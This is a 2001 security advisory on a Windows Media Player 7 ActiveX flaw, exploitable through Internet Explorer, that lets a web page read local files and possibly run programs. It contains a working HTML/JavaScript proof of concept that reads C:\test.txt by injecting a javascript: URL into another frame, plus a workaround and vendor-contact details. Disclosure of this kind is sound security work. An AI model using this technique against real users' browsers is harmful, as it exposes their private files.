Georgi Guninski security advisory #31, 2001

Windows Media Player 7 and IE vulnerability - executing arbitrary programs

Systems affected:
Windows Media Player 7 and IE

Risk: High
Date: 1 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmo
dified.
You may not modify it and distribute it or distribute parts of it without the a
uthor's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any c
ompany.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the informat
ion
or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this advisory
 or program or
any derivatives thereof.

Description:

There is a security vulnerability in Windows Media Player 7 exploitable thru IE
which allows reading local files which in turn allows executing arbitratrary pr
ograms.
This may lead to taking full control over user's computer.

Details:
The problem is the WMP ActiveX Control which allows launching javascript URLs i
n arbitrary
already open frames. This allows taking over the frames's DOM. Examine the code
 for more
info.

The code is:
--------wmp7ie.html------------------------------------------------
<object id="o1" classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
<PARAM NAME="defaultFrame" value="georgi">
</object>
<SCRIPT>
alert("This page reads C:\\test.txt");
window.open("file://c:/test.txt","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>
---------------------------------------------------------------------

Workaround:
Disable Active Scripting.

Demonstration is available at:
http://www.guninski.com/wmp7ie.html

Vendor status:
Microsoft was contacted on 26 December 2000.

Regards,
Georgi Guninski
http://www.guninski.com